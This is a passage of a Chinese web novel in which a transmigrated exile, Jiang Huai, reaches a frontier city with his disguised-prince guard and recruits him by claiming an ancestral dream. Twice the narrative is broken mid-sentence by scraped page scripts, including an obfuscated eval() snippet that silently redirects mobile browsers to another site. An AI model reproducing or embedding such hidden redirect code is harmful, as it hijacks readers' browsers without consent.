毕竟谋逆是大罪,如果姜家没有付出什么,在新朝也不好立足,除非用时光洗刷这个污点,但是真靠时间来洗刷,姜淮觉得自己等到死都等不到这个时间了。
意识到自己在想什么,姜淮晃晃脑袋,觉得还是不要异想天开,他记得开国至今也不过一百年不到的样子,当今皇帝治理天下好像还不错,虽然当囚犯后发现并没有多好,但是想造反成功也挺难的。
姜淮想着,脑海中却闪电般划过一个片段。
姜淮僵住,将记忆扒拉了出来,仔细地看了一遍,眼睛都瞪大了。
不是,他只是随便想想罢了,结果真的会有人造反,还是原来的废太子。
原来他不只是穿越,还是穿书。
15.第 15 章
穿书代表了什么,作为一个资深二次元,姜淮可太清楚,这意味着他可以借着对原文的了解,未卜先知,了解各种隐秘消息,借此为自己牟利。
姜淮大喜过望,这算是他穿越之后,难得遇到的好消息了。
姜淮兴冲冲的回忆起原文剧情来,想看看自己能怎么借此牟利,然而回忆完,姜淮愣住了。
虽然穿书了,但是他穿书的时间好像有点早,原文男主现在好像还是个小孩子,正文都没有开始呢。
而他是背景板中的背景板,只是在原文略微提过一嘴的炮灰,在流放途中病逝,除此之外就没有什么信息。
而且因为原文是本权谋文,他不是很喜欢看这种文,所以只是草草的看了一遍,甚至跳章只看目录,剧情也不记得什么,只知道男主在和其他配角反派的养蛊竞争中,终于成功上位了。
所以,他这书白穿了!
姜淮欲哭无泪,早知道在看到炮灰和他同名的时候,他就该全文背诵的,虽然不一定能用上,总好过现在悔的肠子都青了。
再给他一次机会,他一定字字精读,不放过任何一点信息。
萧靖昭回来后就发现原本还挺精神的姜淮,突然就一副萎靡的模样。
“有囚犯或者皂卒欺负你了?”萧靖昭下意识想到,可又觉得不太对,囚犯现在为了能早点被赦免,一个个的都老实的不能再老实,哪怕一些暴躁的刺头,也是小心的很。
而皂卒,基本都去围堵张头,只要姜淮不做什么过分的事,没有谁会来惹他。
“没有。”姜淮的话印证了萧靖昭的猜测。
“那你……”萧靖昭皱眉。
“我就是想到一座金山在我面前,我居然只看了一眼就走了,我就心痛。”姜淮痛心疾首。
萧靖昭眨眨眼,伸手直接摸上姜淮的额头,他怀疑姜淮是晚上着凉,有点发热,不然怎么会说出这么荒唐的话来。
“没发烧没发烧。”有些冰凉的手覆在额头上,倒是让姜淮一下子清醒了过来,意识到自己刚才说了什么话,有些尴尬。
确定姜淮不是发烧,萧靖昭放下手,拿出自己从外面买来的吃食,让姜淮快点吃。
一说到吃,姜淮立刻就想起来原剧情中自己病逝的结局,虽然现在换成自己可能不至于这样,就算他病了,萧靖昭也会救他,但还是要让身体更好一点,万一这病逝是剧情杀呢。
看姜淮吃的津津有味,萧靖昭摇摇头,坐到一边。
尽管对原文的剧情了解不多,不过姜淮还是努力回想了一番,趁现在记忆还比较深刻,多想一下,万一想到什么有用的呢。
这一想,倒是让姜淮想起姜家的结果。
姜家流放是被太子牵连的,所以五年后新帝登基,姜家就平反了,一路平步青云。
只要他熬到五年后,就能回京城当个快乐的咸鱼了。
在流放路上熬了这么些天,姜淮已经分外的想念普通生活了,哪怕是古代的普通生活,也好过颠沛流离。
……
在当地停留了两天后,张头将可以减刑的囚犯,以及负责看守他们的皂卒留下,继续带着其他的囚犯上路,流放队伍的人数一下子少了不少,行进速度也加快了不少。
“就算是要补之前那两天耽误的时间,这走的也太快了吧。”晚上歇息时,姜淮忍不住和萧靖昭抱怨了一句。
“入秋已经好些天了,若不快点抵达安远府,张头回来路会更难走。”萧靖昭解释道。
回去?
姜淮愣住,看向萧靖昭,他没记错的话,萧靖昭似乎也要回去吧。
这一路走来,姜淮都差点忘记这事,萧靖昭不是和他一样的囚犯,而是皂卒,押送他们只是任务,等任务结束,就该回去了。
只是姜淮也很清楚,他不可能让萧靖昭不要回去,这根本不现实,虽然萧靖昭对他很好,可总不能让对方抛下以前的家业,就跟他到边关混吧。
等下,好像也不是不可能啊!
姜淮忽然想起来,姜家五年后会平反,等平反之后,他回到京都,就算自己没什么权力,可是姜老太傅肯定能官复原职,甚至是升职,那他作为姜家三房独子,姜老太傅宠爱的孙子,表示想提携一下照顾自己五年的恩人,姜老太傅应该不会不答应啊。
萧靖昭当五年的皂卒,最后也不多就是升职到张头这个层次,而以姜淮对萧靖昭的观察,对方不是那种会和人同流合污的性格,这种性格当皂卒也不太好升职,指不定是活照干,锅照背,但是升职加薪没有他的份。
那还不如在他身边五年呢,现在对方照顾自己,等姜家平反,姜家也能送他直上青云,毕竟朝中有人好办事啊。
就算姜家刚正不阿,不会给萧靖昭走后门,但是有个靠山,萧靖昭想做什么也会顺畅许多,也不至于因为性格被人打压。
姜淮越想越觉得自己的想法靠谱。
唯一的问题就是怎么让萧靖昭愿意跟着他呢?
……
看向熟睡的姜淮,萧靖昭眉头拧紧,他已经很久没有怀疑姜淮是不是认识他,可最近姜淮的表现又让他起了些疑心。
不是萧靖昭的疑心重,而是姜淮的表现过于可疑。
以往姜淮和他聊天,说的都是自己身上的事,可现在,他却表现出了对萧靖昭以往的万分好奇,不是问萧靖昭做皂卒的情况如何,就是问他家中情况。
哪怕之前萧靖昭对这些信息都做好了充分的准备,应答自如,可姜淮的这个表现依旧让他有些不安。
如果他的身份被姜淮发现了……
萧靖昭面色沉凝,放在之前,他可以毫不犹豫的对姜淮动手,哪怕对方是姜老太傅的孙儿,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13435060|141020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不会手软,可现在……
尽管不想承认,可是从京都逃出来后,也只有和姜淮相处时,萧靖昭才能感受到一丝轻松,不然心底的仇怨就要将他淹没。
萧靖昭的手不自觉抚上姜淮的脖颈,手下的脖颈纤细,脉搏在手下跳动,带着勃勃的生机,可这样的生机也极为脆弱,只要轻轻一掐,就此熄灭。
“别闹,痒。”姜淮睡得迷迷糊糊,忽然脖子上有点痒意,让他忍不住蹭了蹭,他还记得自己身边睡的人是萧靖昭,嘟囔着抱怨了一句。
萧靖昭漆黑的瞳仁在夜色下越发深邃,看着自己被姜淮抱住的手,这力道极其轻微,只要他稍一用力,就可以挣脱束缚,继续之前的事。
过了片刻,萧靖昭安静的躺了下来,闭眼入睡。
次日姜淮起来,完全没有想到自己昨天可能会遇到危险,只感觉神清气爽,看萧靖昭居然还醒着,想到昨天被挠了痒痒肉,有点想小小的报复一下。
小心翼翼的伸出手,眼看手马上就可以触到脖子,姜淮嘿嘿一笑,落了上去。
只是还没有等姜淮挠一下,萧靖昭猛地睁开眼睛,眼神冰冷,一把直接攥住了姜淮的手,一手已经挽住姜淮的脖颈,正要进行下一步动作,才发现眼前的人是姜淮。
“你想找死?”萧靖昭眯起眼睛,掩饰眼中的惊悸,没人知道他在发现自己攥住姜淮手的那刻心跳有多快。
姜淮还没有反应过来,他没有料到萧靖昭会这么生气,而且昨天对方也是逗他了。
见姜淮还有点没明白,萧靖昭冷笑一声,直接继续刚才未完的动作。
发现萧靖昭的手勒到脖子上,只差一用力,就可以将脖子掰断,姜淮瞬间明白萧靖昭为什么会那样说。
刚才要不是萧靖昭收手快,可能他现在已经可以准备后事了。
“我错了,我不该这样做。”姜淮老实认错。
“你为什么要这么做?”萧靖昭问。
姜淮老实的将他之前的想法说了出来,听到姜淮还记得昨晚的事,萧靖昭手不自觉攥紧。
“下次不要这样,习武之人对周身死穴非常敏.感,哪怕神志不清也可以做出反击的。”萧靖昭告诫道。
姜淮连连点头,他哪里敢再来个下次,刚才真的是太惊险了。
不过……
“我好像也练了这么久,昨天怎么一点反应也没有?”姜淮忍不住问道,他也不求像萧靖昭这样自动反击,但是自己这也太不敏锐了吧。
“你练的时间太短了。”萧靖昭垂眸。
姜淮很轻易的就接受了这个解释,但是萧靖昭清楚,时间短并不是最主要的,一些人只要开始练武,都会提高警惕,而脖颈算是最要紧的位置,习武人都会很注意。
唯一能解释姜淮动作,只能是他对自己很信任,相信自己可以保护好他。
16.第 16 章
只是姜淮到底为什么要问这么多呢?
再一次,在姜淮试探萧靖昭对未来有什么打算之后,萧靖昭脸上带着轻微的好奇,唇角不自觉翘起,轻飘飘问道:“你问这么多,到底是想问什么?”
是怀疑他的身份了,还是说别的?
姜淮眼神飘忽了一下,他的表现有这么明显吗?他之所以问这么多,就是想看看能用什么借口说服萧靖昭留下来,而了解这么多之后,姜淮发现用一般的借口很难让萧靖昭动容,对方的意志过于坚定了。
“咳咳,魏哥,你觉得你五年内继续做皂卒的话,官职能晋升到张头那个程度吗?”姜淮决定先试探一下萧靖昭。
萧靖昭眸光闪了闪,沉吟片刻,摇了摇头。
萧靖昭了解过,要做到张头这个程度,不光是要多做事多立功,还需要熬资历,更需要背后有点靠山,比如说投靠了衙门内官员,不然就算你立功了,功劳也可以被其他人顶替。
以他现在这个身份的背景,很难在五年之内做到张头这个职位。
更何况,升职也需要官职空缺出来,没有空缺也很难升上去。
“那魏哥,如果有个机会,你只要熬上五年,五年后就可以平步青云。”姜淮继续试探道,不过说到一半,又感觉自己这个平步青云好像有点吹过头了,他记得原文中废太子登基之后,官场好像也不是特别好混,姜家肯定也不能太大喇喇的提拔人,还是说小一点吧,不然感觉吹牛过头。
“咳咳,也不是平步青云,就是让官职晋升更顺利,可以保你荣华富贵,你会接受这个机会吗?”姜淮说,眨巴眨巴眼睛,紧张的看着萧靖昭。
平步青云?
荣华富贵?
姜淮确实是在说他,而不是说自己。
萧靖昭确信,如果姜淮将自己的存在透露出去,皇帝可能会杀姜淮灭口,但也可能会给姜淮奖赏,毕竟皇帝那么处心积虑的都想除掉他,姜淮这么做也算是帮了皇帝的大忙了。
而现在,他身边是没有人手再帮他的。
萧靖昭对上姜淮的眸子,眼眸绚烂如星,带着满满的真诚,不像是在说反话。
“若是有这个机会,我自然会接受。”萧靖昭道。
姜淮左右看看,凑到萧靖昭耳边,虽然这里只有他和萧靖昭两个人,但是他要说的话过于要紧,还是要小心被人听到。
“魏哥,前几日,先祖托梦,说我姜家……会平反”姜淮凑的更近了些,声线更是压到了极低,哪怕就在耳边,萧靖昭想要听清都有些费力。
只是听清姜淮在说什么后,再和姜淮刚刚的问话联系起来,萧靖昭瞬间明了姜淮这些天到底是想说什么了。
姜淮是想招揽他。
对上萧靖昭隐隐带着些怪异的眼神,姜淮脸上发红,他也知道他这么说个先祖托梦有点怪,但这不是没有办法了,总不能说自己是穿书的。
以古人的认知来说,说先祖托梦更符合常理。
“你相信了?”萧靖昭问道。
见萧靖昭搭话,姜淮点了点头道:“先祖说,怕我独自流放坚持不住,所以告知我这个消息,让我坚持五年。”
听到这里,萧靖昭只觉得这或许是姜淮担心自己支撑不下去,日有所思,夜有所梦,可接下来姜淮的话让萧靖昭彻底僵住。
“先祖说五年后,新帝登基,姜家就能平反。”姜淮知道自己得上点干货才能让萧靖昭多少也相信一点。
新帝登基!
萧靖昭瞳孔骤缩,姜淮说的这个新帝只能是他,不可能是其他人。
因为留在皇宫里的其他皇子年纪还小,哪怕五年之后皇帝暴毙,不管是哪个皇子继位,只要还是正常继位,那就不可能替姜家平反,因为姜家牵扯到的是谋逆之罪。
就算朝中有臣子为姜家求情,新帝初登基,也不可能直接推翻先帝的判断,必须要过上几年,才可能有所行动。
所以按照姜淮的说法,登基的人只能是他。
可问题就在这里,天下人都以为他谋反失败,自.焚而死,哪怕皇帝对他的死还有些疑虑,可也不敢说他一定没有死,为什么姜淮会认为是他登基呢?
姜淮是发现他的身份,所以假借托梦试探他吗?
猜测一出现,萧靖昭又很快否决,他和姜淮相处下来,虽然对方并不显得很聪明,但也不是蠢笨的人。姜淮若是猜到了,最好的办法就是不暴露自己,要么将消息掩埋,要么将消息传达出去。
所以,结果只有两个。
或许是现在的日子太难熬了,姜淮才幻想出姜家平反的事,又或者是这世上当真有鬼神之说。
“魏哥?”姜淮见萧靖昭不说,小声问了一句。
“你让我想想。”萧靖昭沉声道。
姜淮也知道这么重要的事,萧靖昭不可能一下子给他答复,点了点头,闭上眼睛飞速入睡。
看着姜淮一秒入睡,萧靖昭心绪极其复杂,有点想将姜淮再喊醒,他丢下晴天霹雳,搅的人不得安宁,自己倒是睡的香甜。
……
姜淮原本以为萧靖昭要多考虑一阵子,毕竟选了他这边,就需要在安远府待上五年,皂卒这份官职也得丢,成本还是很高的,谁知道次日夜间,萧靖昭就应了下来。
“不用再
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13446091|141020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
考虑一下吗?”虽然姜淮是很想萧靖昭快点答应他的,但是这速度未免也太快了吧。
姜淮担心萧靖昭这是一时冲动,要是冲动完反悔,还不如一开始就不答应呢。
“不必。”萧靖昭抿唇,“五年搏一次,我赌了。”
“魏哥,你放心,之后只要有我一口吃的,就绝对不会少了你的,五年之后,我一定会让你风风光光的衣锦还乡。”姜淮拍着胸脯保证,在姜淮看来,萧靖昭这么说肯定是为了安慰他。
虽然在他看来,萧靖昭跟着他是最好的结果,可只是听一个先祖托梦的事,就应了下来,这肯定是思虑很多。
他一定不能辜负了萧靖昭的信任。
姜淮猜对了一点,但没有完全猜对,昨日萧靖昭确实是想了许多,但是让萧靖昭应下这件事的原因并不是姜淮说的未来富贵,而是萧靖昭原本就是要在安远府留下的。
他只不过是借着皂卒这个身份,合理的前往安远府。
原本萧靖昭还在想怎么从皂卒的身份中脱离出来,合理的在安远府定居,而现在,姜淮倒是给了他一个借口。
在姜淮这边,他是为了五年后的荣华富贵,留在姜淮身边,而放到其他人眼中……
想起其他人看他和姜淮的暧.昧眼神,或许会认为他色令智昏,被美色所迷,然后选择陪伴在姜淮身边。
至于姜淮说的什么五年后新帝登基平反,萧靖昭选择忽视,不管是真托梦还是假托梦,那都是未来的事,对他现在没有任何作用。
一时间,流放队伍中的皂卒和囚犯都发现姜淮和萧靖昭的关系越发的亲近,以前萧靖昭还保留了一点理智的样子,而现在,就像彻底被美色冲昏了头脑一般,对姜淮照顾有佳。
因着姜淮身体不舒服,居然去请了大夫过来给姜淮看病,甚至还特意多买了一些药材,以防之后姜淮生病。
其实这事是姜淮提的,因为姜淮还记得自己病逝的结果,而据说安远府那边医疗资源匮乏,大夫少,药材也不太足,所以想提前看看身体有没有什么隐患,也多准备一些药材,万一呢。
而这一切被其他人看在眼里,那就是姜淮手段高超,将押送他的皂卒玩弄于掌心。
张头原本不觉得萧靖昭会为了姜淮做太多事,可看到这一幕,也紧张起来,甚至一路上都在防备着萧靖昭。不为别的,他担心萧靖昭脑子一发昏,就把姜淮给放了,这小子不要命,他还要啊。
一路心惊胆战,等好不容易抵达安远府后,再看看队伍中的两人,张头一阵心累。
下次再押送囚犯,他坚决不能让囚犯勾搭皂卒了,实在是太危险了。
17.第 17 章
站在入城的人群中,姜淮仰头看向眼前高大的城池,极为震撼。
城墙高.耸,由巨大石块和青砖砌起,经风雨侵蚀,染上些许风霜,却更显出雄浑壮实,城墙上有将士来回巡逻,眼神锐利,让人见之心颤。
城门处的守城将士板着脸,仔细检查入城百姓的身份凭证和随身行李,军士检查的非常严苛,稍有不对就要盘问一遍,姜淮注意到有些进城的壮汉被盘问的不耐烦了,可也只能憋住一口气,老老实实的回答。
张头领着一行人上前,将文书递了过去,守城将士接过仔细的看了起来,查阅了一遍,又让人给剩下的囚犯搜身,确定没有问题后才放行。
虽说抵达安远府,押送囚犯的任务就算结束,但是现在还差一点收尾,得先去府衙签字画押,确定犯人已经送到,随后再送去专门接收流放囚犯的军营,这样才算完。
张头对安远府还算熟悉,入城后熟练的领着一群人往府衙走。
只是看着路上的行人,张头不禁一声长叹。
姜淮奇怪,这都到了安远府,张头还有什么忧虑的吗?
有个皂卒之前和张头来过这安远府,看着和以往比,稀疏了不少的人群,难掩悲凉:“蛮子当真不是人,这安远府附近的百姓也不知被掳走杀死多少。”
姜淮感觉萧靖昭牵着他的说骤然一紧,下意识的看向萧靖昭,对方脸上带着一丝难以言喻的悲戚。
姜淮翻了翻记忆,心情也变得沉重起来。
在姜家出事前,负责镇守西北边境的卫家就先出事。镇国公卫铮身受重伤,当场战死,长子卫彦重伤昏迷,次子带领军队出击,却不知所踪。
而安远府作为西北第一府城,险些被草原蛮族攻破,即便最后将士们齐心协力打退了蛮族,可安远府附近没有来得及逃进城的百姓被掳走的掳走,杀死的杀死,甚至一部分城内的百姓也遭了秧。
想到这件事后,姜淮再仔细看城内,发现不少地方还残留着战争过后的伤痕,路旁的行人脸上也见不到什么笑颜,更别提城内显得稀疏的人群了。
“张头,您说那卫家,怎么就想不开,通敌叛国了呢?”皂卒没忍不住问道,脸上带着满满的疑惑。
只是不等张头回答,路过的行人听到这话,直接破口大骂。
“兔崽子胡说什么,卫将军对大周忠心耿耿,都是被小人诬陷才……”行人话还没有说完,身边的人注意到巡视过来的守卫,赶紧捂住对方的嘴巴,拉着行人走了。
“行了,之后别胡咧咧,别忘了这是哪。”张头瞪了说话的皂卒一眼,平时嘴巴就不把门,这话在外面说说也就得了,卫家在安远府待了多少年了,深得民心,说卫家的事这不是自找麻烦。
张头继续带着一行人前进,姜淮注意到走过来的守卫,发觉他们穿戴似乎比看守城门的将士要更好些,穿戴齐整,衣物也看着更新一些。
只是军纪似乎……
注意到守卫朝自己过来,挑着担子而过的货郎战战兢兢,不敢走动。等守卫过去一通乱翻,离开时,几个守卫手上拿了些东西,而货郎则是苦着一张脸,收拾方才被翻乱掉的地上的货物。
路边其他行人对这个情况似乎见怪不怪了,脸上虽然还有愤怒,却也有无能为力的悲哀,有些摊贩脸上甚至还挂着庆幸的色彩,像是庆幸自己没有遭到守卫的打劫。
姜淮心里有点堵,这到底是兵还是匪?
而且姜淮还记得,刚进城时,百姓对兵士的态度虽然也有敬畏,但也是尊敬的,可现在这些守卫就……
……
府衙,负责接收流放囚犯的官吏看过文书后,仔细对照人物图画,确定送来的囚犯没有问题,这才盖章接收。
不过仔细打量张头带来的这批囚犯,官吏脸上浮现一抹好奇。
在张头来之前,也有一批囚犯被送过来,那批囚犯的模样就符合官吏对流放囚犯的刻板印象,一身乱糟糟,表情麻木,虚弱的不成样子,显然是在路上被折磨的狠了。
而张头送来的这批囚犯,要说特别好也算不上,但看得出来,路上没被欺压的太狠。
尤其是姜淮,虽然身上有些狼狈,但是整个人的精气神很不错,若不是一身囚服太过显眼,官吏险些都要误以为他也是负责押送的皂卒了。
张头被官吏的目光弄得有些不安,也跟着看了两眼,硬是没有发现什么异常,就在他百思不得其解之际,门外又有皂卒押送了囚犯过来。
一大堆囚犯就站在院们外,衣衫褴褛,眼神麻木,裸露在外的皮肤上伤痕也不少。
看到来人带来囚犯的模样,张头下意识皱眉,这带的也太差了些,不像样。
意识到自己在想什么,张头僵住,随即回头看了眼姜淮一干人,再看看院外的囚犯,终于明白官吏为什么会是那样的眼神了。
等等,这一切到底是怎么发生的?
张头脑子难得有些发蒙,在看到普通囚犯的模样后,张头就觉得对方的模样很是熟悉,因为他以前押送的囚犯也大多是这个样子,可他这次押送的囚犯怎么就状态这么好了?
张头想了一圈,发现罪魁祸首就是姜淮和萧靖昭。
一些不用来安远府的囚犯被分走之后,流放队伍的人数就大大减少,以前人多,萧靖昭照顾姜淮不算太显眼。而后面,萧靖昭对姜淮的照顾更多,又因为囚犯的人数少了,就很是扎眼,其他皂卒多多少少也被萧靖昭影响到了。
以往他们都是将囚犯当时一个不得不押送的物件,而后面,则是将对方当成一个人了,加上也没有油水可以多压榨什么的,就态度也好些了。
虽然并没有像萧靖昭照顾姜淮那样,可每日的吃食多少能给够,也不会随意鞭打。
若是囚犯不老实,这样的情况也很难维持,可偏偏不知道是不是被姜淮影响的,囚犯也都老老实实的,两边都省心,状态自然就好了。
后来的皂卒也看到前面这批囚犯的状态,眼中闪过一丝惊诧。
张头尴尬的想要早点离开,只是还不等他起身,官吏就喊住了他,让他等等,等后面这批囚犯登记好了,一起去军营,省的麻烦。
后来的皂卒很快就办好了接收的差事,领着人和张头一起朝军营送人。
“你这押送的囚犯怎么看着身体如此好?”后来的皂卒没忍住好奇心,问了出来。
张头表情僵住,很是不想回答这个问题,难道要说他是被人给影响的,这不显得他太弱势了,只是不回答又很尴尬。
忽的,张头想起萧靖昭最开始照顾姜淮时说的借口。
“安远府人丁稀疏,又是苦寒之地,朝廷之所以要送囚犯来,也是为了填充当地的劳力,若是在路上折损太多,又或是因为身体太差,待一段时间就死了,那不是浪费了朝廷的一番心意。”张头绞尽脑汁的回忆萧靖昭的话,文绉绉说完,浑身不自在。
不过见问话的皂卒先惊后恍然,然后一脸佩服后悔的样子,张头心底又舒爽了几分。
过了心中这一道坎,张头想起安远府内的人数,又忍不住多说了几句。
“更何况,你看着蛮族入侵过后,安远府内人丁更是稀少,能干活的囚犯越多,百姓也可以轻松一些。”
问话的皂卒听着连连点头,回头看
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
看自己带来的这批囚犯,叹了口气:“唉,早知道在路上就少折腾他们了。”
“也不必太后悔,下次还有机会嘛。”张头安慰道,“再说,有些囚犯也该折腾,你看我队里,也不是人人都过的特别好。”
问话的皂卒扫了一眼张头那边的囚犯,注意到姜淮,有些好奇的问:“那小公子是犯了什么法?”
看到姜淮,张头脸上笑容一僵,打着哈哈避开不谈。
张头这么一说只是为了自己的脸面,却没想过,这一番理论之后被宣扬了出去,被不少皂卒知道,虽然囚犯该压榨还是被压榨,可身体状态却不至于差太多,一些本该在流放路上死掉的人就这么活了下来。
……
眼看着快要到军营了,张头感觉肩上的重担轻了不少,长出一口气。
扭头看见姜淮和萧靖昭凑在一起说小话,张头嘴角直抽,他也不是没有看过好男风的人,之前失踪的孙勇就是一个,可也没有这么的黏糊啊。
张头之前挺看好萧靖昭,对方只要不沾姜淮,行事作风都很正常,是一个能吏,若是好好做事,不用几年就能升职。
可现在……
好在等两人分开,萧靖昭应该还能恢复正常。
远远的看见军营,姜淮的脚步不自觉的慢了下来,攥紧了萧靖昭的手。
等进了军营,萧靖昭就不可能陪在他身边了。
“没事,待两天就可以出来了。”萧靖昭自然知道姜淮在紧张什么,低声安抚。
他们打听过了,这安远府对于流放来的囚犯有一套新安排,毕竟安远府是缺人又缺银子,押送来的囚犯会先送到军营分配。
囚犯的去处大部分都是戍边屯垦,少部分有手艺的就要手工活,可以说都不是什么好去处,但是如果有银子的话,可以用银子赎工,交多少银子,只要定时去汇报一次,确定流放的人没有逃走,就可以不用干活。
不过这需要的银子就是个小数目,大部分囚犯都是交不起的,或者说哪怕家中有银子,也不太舍得交,不过银子少,只要肯给,那也是能将人分配去做一些轻便点的活。
至于那些什么都没有,那分配到头上的任务就很沉重了。
这么做当然也是在压榨囚犯,如果姜淮没有认识萧靖昭,自然只能做最苦的那个,而现在,萧靖昭带的银子可以赎走姜淮一年。
“魏哥,这次又麻烦你了。”姜淮仰头看向萧靖昭,这一年的花费是真的不少,他一开始其实想的是掏钱点,看能不能分配去做手工活,这样的话也能轻松点,花的银子也不多。
但是萧靖昭坚决不同意,说是做手工活,那也是在官府的控制之下,上头的官吏可以随意使唤姜淮,他也没有办法很好的照顾姜淮,还是让姜淮先过一年的自由身,况且自由身能攒的钱总是更多。
这个理由彻底说服了姜淮。
姜淮清楚,如果是在官府的眼皮子底下,他要赚钱,就会显得扎眼,就和在流放路上一样,稍微出格一点的事做起来就胆战心惊。
如果是暂时的自由身,那不管是弄点新玩意,将方子卖出去,或者直接卖东西,赚钱的概率都大大增加。
而且一直待在官府眼皮子下面,他这五年可能都只能靠萧靖昭养着,那萧靖昭就很辛苦了。
所以,等出来了,他一定得好好想想赚钱的法子。
想到这点,姜淮聚精会神的思考起来,精神重新振奋。
看到姜淮的精神从萎靡又变得振奋,萧靖昭眼中不自觉的带出几分好奇,他现在算是习惯了姜淮振作的速度,只是有时候还是会好奇,姜淮到底是在想些什么。
18.第 18 章
姜淮对古代的军营并没有太清晰的印象,直到真的进了军营,才发现军营比他想象中的要乱太多。
囚犯们被送到军营后,皂卒们就得离开,也不能在军营附近盘桓,不然会被视作图谋不轨,姜淮只能看着萧靖昭离开。
姜淮清楚,接下来两天只能靠自己了。
感觉到心中的紧张,姜淮忍不住感慨,人真是由奢入俭难,刚穿过来,什么都只能靠自己一个人,还没有感觉什么,可现在有个人可以扶持,就会变得软弱了。
不过,也可能是更加坚定。
他只需要在这边待两天就好。
想到这点,姜淮的气势又重新变得沉稳有底气了不少。
军营内的囚犯人数极多,兵士也没有太管他们,只要不闹腾的太过就好,一些轻微的欺负,兵士根本不会在意。
作为新入营的囚犯,一些来的早点的囚犯自然就盯上了他们,虽然都知道能抵达这边的囚犯身上基本都没有什么油水了,或者说有油水的都是不太好惹的,但是总有人抱着侥幸心理。
而姜淮,身形瘦弱,但是看模样又比其他囚犯好不少,自然也被人盯上了。
有兵士过来招呼囚犯们吃饭,姜淮也起身准备去吃饭,尽管姜淮很注意,但是碍不住有人想故意找茬。
有人从后方猛地撞了下姜淮,姜淮一个踉跄,险些没有站稳。
“狗日的,找死啊,敢挡大爷的路。”身后一个尖嘴猴腮的男子口中骂骂咧咧。
其他囚犯也看到这边的冲突,但是都不理睬,而是继续往前,这样的冲突太常见了,况且来的是新人,肯定是要被欺负一番的。
男子骂了一阵,发现姜淮态度自若,也不搭话,强行将戏唱了下去。
“刚撞着一下,大爷胸口还痛,肯定是被你撞出内伤来了,赶紧赔钱。”尖嘴猴腮的男子说道,不等姜淮开口,就上前开始扒衣服,显然是要强抢。
男子没有将姜淮放在眼里,实在是姜淮瘦弱的样子太有欺骗性的,也没有太多的防范。
而后,他就体会了一把姜淮被萧靖昭特训后的结果。
两人都猜到入了军营之后可能会遭遇麻烦,毕竟只是小几十个人的流放团队都会有冲突,更别说这么多囚犯聚在一起,冲突肯定会更多,而姜淮想要再赎出去之前安稳的待着,而不是被人欺压,只能展现出狠的一面。
哪怕是装出来的也不要紧,只要能吓到其他人几天时间就好,等过两天,萧靖昭就可以带姜淮出去,也不在乎其他人是不是看出来了。
而装狠的第一印象就很重要,绝对不能手软,但是考虑到别的动作伤害后遗症太大,窒息勒晕就是最好的选择了。
脖子被人用手臂紧紧的勒住,男子想要反抗,但是氧气消耗的速度太快了,而姜淮的动作也过于狠辣,男子只感觉两耳发胀,眼睛胀痛,两只手两只脚不断地挣扎,然后却不能挣脱分毫。
姜淮感受着身下人的挣扎,有些疑惑,这个力道好像有点小了,是他的力气变大了吗?
有看戏的人都直接傻眼了,其他囚犯也不是没有打架过的,但是谁像姜淮这样,动手就直接杀招,没有一点缓冲,动手前看着毫无杀气,动手后直接冲着要人命去。
大家哪怕都是囚犯,但这样的狠角色也少见。
因为被姜淮的动作给吓着了,加上事不关己,担心自己上前会被姜淮记恨,一时间都没有敢上前阻拦,只能看着男子在姜淮手下挣扎的越来越无力,动作越来越缓慢。
姜淮在心中默默数数,这也是他和萧靖昭特训的一环,窒息一不小心也可能杀人,真要杀人,不说对姜淮造成的心理伤害,对他的处境也不是很妙。
应该要来了吧!
姜淮数着数,听到了天籁一般的利喝声。
“干什么呢?”兵士注意到这边的情况不对,大喝一声。
姜淮松了口气,兵士再不来,他也只能松开手,不然勒的时间长了,即便松手,也可能造成严重的后果,只是这样一来,立威的效果就打了折扣。
兵士大步冲过来,姜淮已经恢复了沉静的模样,而勒晕的人这才悠悠转醒,看到姜淮平静面容时身体一抖,他没想到自己这捡软柿子捏,居然就挑到一个狠人。
“你们怎么回事?”兵士虽然注意到这边不对劲,但是并没有看清姜淮的动作,询问道。
“军爷,我看他晕过去,正要扶一把他,只是有些扶不动,就挡了路。”姜淮笑着解释,瞥了在地上大口喘气的男子,眼神平淡,却让男子心头一颤。
对上兵士投过来的询问眼神,男子连连点头,说都是他不小心摔倒,姜淮出于好心扶起他。
尽管看出两人之前的情况不会像他们说的这般平和,但见倒在地上的男子身上并没有明显的伤痕,兵士也懒得多管闲事,警告了几句就离开了。
如果说姜淮出手狠辣让不少人意外,那他应对兵士的态度更是让不少囚犯都皱眉,意识到姜淮不太好招惹。注意到其他囚犯对自己的忌惮,姜淮心底松了口气,可面上还维持着淡然的模样。
……
姜淮本以为军营里的饮食会比流放路上好些,可真当饭食到手,姜淮有点震惊。
不是,好歹流放路上吃的还是干粮,虽说一天只有这么一顿吃,每天还得走几十里地,可眼前这碗汤饭也太稀了点吧。
看着碗中稀的几乎可以印出人影的汤饭,姜淮有点庆幸,还好进来之前吃了顿饱饭,不然这两天会难熬。
姜淮瞥了眼盛汤饭的大锅,灰黄色一片,低头嗅了嗅,分量少就算了,可千万别变质了。
好在因为天冷,食物没有那么容易变质,姜淮没有闻到什么怪味,尝一口,确定没问题,一口气灌下肚。
姜淮发现稀点也有稀点的好处,如果是之前的干饼子,本身就难吃,但是因为难嚼,吃起来就慢不
